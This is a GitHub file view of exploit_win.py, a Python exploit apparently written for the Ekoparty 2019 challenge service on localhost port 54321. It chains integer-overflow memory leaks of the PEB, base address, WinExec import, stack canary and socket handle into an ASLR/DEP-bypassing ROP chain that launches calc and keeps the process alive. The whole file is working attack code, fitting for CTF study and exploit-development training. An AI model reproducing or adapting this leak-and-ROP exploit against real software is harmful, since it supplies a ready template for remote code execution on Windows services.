-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit_win.py
231 lines (195 loc) · 10.3 KB
/
exploit_win.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
import time
import struct
import socket
target = "localhost"
port = 54321
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
header = struct.pack("<Q", 0x393130326F6B45)
def leak_peb_address():
print "[#] Leaking PEB Address"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x65" # Here we have a 8 multiplication to perform TEB leak: mov rax, qword ptr gs:[rcx]; ret # Robar PEB
rdx = struct.pack("<Q",0x60) # Overwrite RDX para leak de peb
junk = "BBBBBBB" # JUNK For stack align
leak_PEB_address = header + size + msg + code_index + junk + rdx
s.send(leak_PEB_address)
data = s.recv(2048)
peb_address = hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
print "[+] PEB Address: %s" % peb_address
s.close()
return peb_address
def leak_base_address(peb_address):
print "[#] Leaking Base Address"
time.sleep(0.1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
peb_0x10 = int(peb_address, 16)+0x10 # program base_address
rdx = struct.pack("<Q", peb_0x10)
junk = "BBBBBBB" # JUNK For stack align
leak_base_address_payload = header + size + msg + code_index + junk + rdx
s.send(leak_base_address_payload)
data = s.recv(2048)
s.close()
base_address = hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
print "[+] Base Address: %s" % base_address
return base_address
def leak_eko2019_address(stack_base_address):
eko2019_address = ""
print "[#] Searching EKO2019 String in Memory, please wait!"
for i in range(1, 0x2000, 8):
time.sleep(0.1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
eko2019_leak_address = int(stack_base_address, 16)+0x24af+i # Move arround address + offset + i to find the string this is because the address move a little between iterations
rdx = struct.pack("<Q", eko2019_leak_address)
junk = "BBBBBBB" # JUNK For stack align
leak_eko2019_string = header + size + msg + code_index + junk + rdx
s.send(leak_eko2019_string)
data = s.recv(2048)
if (data.find("Eko2019") != -1):
eko2019_address = hex(eko2019_leak_address)
print "[+] EKO2019 String Found in Address: %s" % eko2019_address
s.close()
break
s.close()
return eko2019_address
def leak_canary_key(eko2019_leak_address):
print "[#] Leaking Stack Canary"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
cannary_leak_address = int(eko2019_leak_address, 16) + 0x10 # Move arround address + offset + i to find the string this is because the address move a little between iterations
rdx = struct.pack("<Q", cannary_leak_address)
junk = "BBBBBBB" # JUNK For stack align
leak_canary = header + size + msg + code_index + junk + rdx
s.send(leak_canary)
data = s.recv(2048)
s.close()
print "[+] Canary Found in Address: %s" % hex(cannary_leak_address)
print "[+] Canary: %s" % hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
return data
def leak_socket_handler(eko2019_leak_address):
print "[#] Leaking Socket Handler"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
# eko2019_leak_address + 0x40 => Socket int handler that is overwrited... and we need to fixed for process continuation
socket_leak_address = int(eko2019_leak_address, 16) + 0x10 + 0x40 # Move arround address + offset + i to find the string this is because the address move a little between iterations
rdx = struct.pack("<Q", socket_leak_address)
junk = "BBBBBBB" # JUNK For stack align
leak_socket = header + size + msg + code_index + junk + rdx
s.send(leak_socket)
data = s.recv(2048)
s.close()
print "[+] Socket Found in Address: %s" % hex(socket_leak_address)
print "[+] Socket Handler: %s" % hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
return data
def leak_stack_base_address():
print "[#] Leaking Stack Base Address"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x65" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
rdx = struct.pack("<Q",0x10) # Overwrite RDX para leak de peb
junk = "BBBBBBB" # JUNK For stack align
leak_stack_base_address = header + size + msg + code_index + junk + rdx
s.send(leak_stack_base_address)
data = s.recv(2048)
stack_base_address = hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
print "[+] Stack Base Address: %s" % stack_base_address
s.close()
return stack_base_address
def leak_kernel_winexec_address(base_address):
print "[#] Leaking Kernel WinExec Address"
time.sleep(0.1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
msg = "A" * 0x200 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
winexec = int(base_address, 16)+0x9010 # program base_address
rdx = struct.pack("<Q", winexec)
junk = "BBBBBBB" # JUNK For stack align
leak_winexec_address_payload = header + size + msg + code_index + junk + rdx
s.send(leak_winexec_address_payload)
data = s.recv(2048)
s.close()
winexec_address = hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
print "[+] WinExec Address: %s" % winexec_address
return winexec_address
def aslr_bypass(base_address, offset, sub=False):
if(sub):
aslr_address = base_address - offset
else:
aslr_address = base_address + offset
return struct.pack("<Q", aslr_address)
def dep_bypass_and_pwn(base_address, eko2019_leak_address, kwinexec_address, canary, socket_handler):
print "[#] Pushing Shellcode"
time.sleep(0.1)
base_address = int(base_address, 16)
kwinexec_address = int(kwinexec_address, 16)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
size = struct.pack("<Q", 0xFFFFFFFF) # Integer Overflow 0xFFFFFFFF
idata_rw_address = (aslr_bypass(base_address, 0x9C29C) * 62) # FIX Alination to idat memory with Write permisions
shellcode = "calc\x00\x00\x00\x00" # set calc in memory -> pointer to be used in WinEsxec
msg = shellcode + idata_rw_address + "A" * 8 # Working MSG Size
code_index = "\x3e" # Here we have a 8 multiplication to perform leak: mov rax, qword ptr [rcx]; ret
# Stack Pivot to align the Stack :)
stack_pivot = aslr_bypass(base_address, 0x158B) # Stack Pivot Add rsp + 0x78 para caer en ROP
# Stack Pivot to align the Stack :)
rdx = stack_pivot # JUST JUNK TO AVOID CRASK I WILL USE STACK_PIVOT IN EIP
junk = "A"*7 # JUNK For stack align
junk2 = "A"*16
leaked_canary = canary
padding = "A"*16
# ROP to WinExec + Process Continuation
rop = aslr_bypass(base_address, 0x16F9) # .text:00007FF75F7416F9 pop rbx
rop += struct.pack("<Q", (int(eko2019_leak_address, 16) - 0x210)) # Shellcode Address -> pcalc_str
rop += aslr_bypass(base_address, 0x1167) # .text:7FF75F741167 pop rax ; retn
rop += struct.pack("<Q", kwinexec_address) # .text WinExec Address in IAT
rop += aslr_bypass(base_address, 0x6083) # .text:00007FF75F746083 mov rcx, rbx ; call rax
rop += socket_handler # Set socket_handler for process continuation
rop += "A"*32 # Align stack
rop += aslr_bypass(base_address, 0x150D) # ret to main socket accept for process continuation :)
rop += "A"*32
rop += socket_handler # Set socket_handler also in 0xcff960 + 0x50 for process continuation
print "[+] Executing Shellcode & Fixing Socket for Process Continuation"
print "[#] Wait for CALC..."
eip = rop
rop_payload = header + size + msg + code_index + junk + rdx + junk2 + leaked_canary + padding + eip
s.send(rop_payload)
data = s.recv(2048)
s.close()
base_address = hex(int(struct.pack('<Q', *struct.unpack('>Q', data)).encode("hex"), 16))
print "[+] Base Address: %s" % base_address
return base_address
def exploit():
# Leaking Addresses using PEB
peb_address = leak_peb_address()
base_address = leak_base_address(peb_address.rstrip("L")) # Get Program Base Address :)
# Leaking Kernel WinExec Address from IAT
kwinexec_address = leak_kernel_winexec_address(base_address.rstrip("L")) # Get Kernel WinExec Address from IAT :)
# Leaking Security Cookie
stack_base_address = leak_stack_base_address() # Get stack address from PEB
eko2019_leak_address = leak_eko2019_address(stack_base_address.rstrip("L")) # Search in Memory for EKO2019 + 0x10 = canary
canary = leak_canary_key(eko2019_leak_address) # Leak Canary
# Leak Socket Handler before override it:
socket_handler = leak_socket_handler(eko2019_leak_address.rstrip("L")) # For Process Continuation
# Crafting Exploit Package
dep_bypass_and_pwn(base_address.rstrip("L"), eko2019_leak_address.rstrip("L"), kwinexec_address.rstrip("L"), canary, socket_handler.rstrip("L"))
exploit()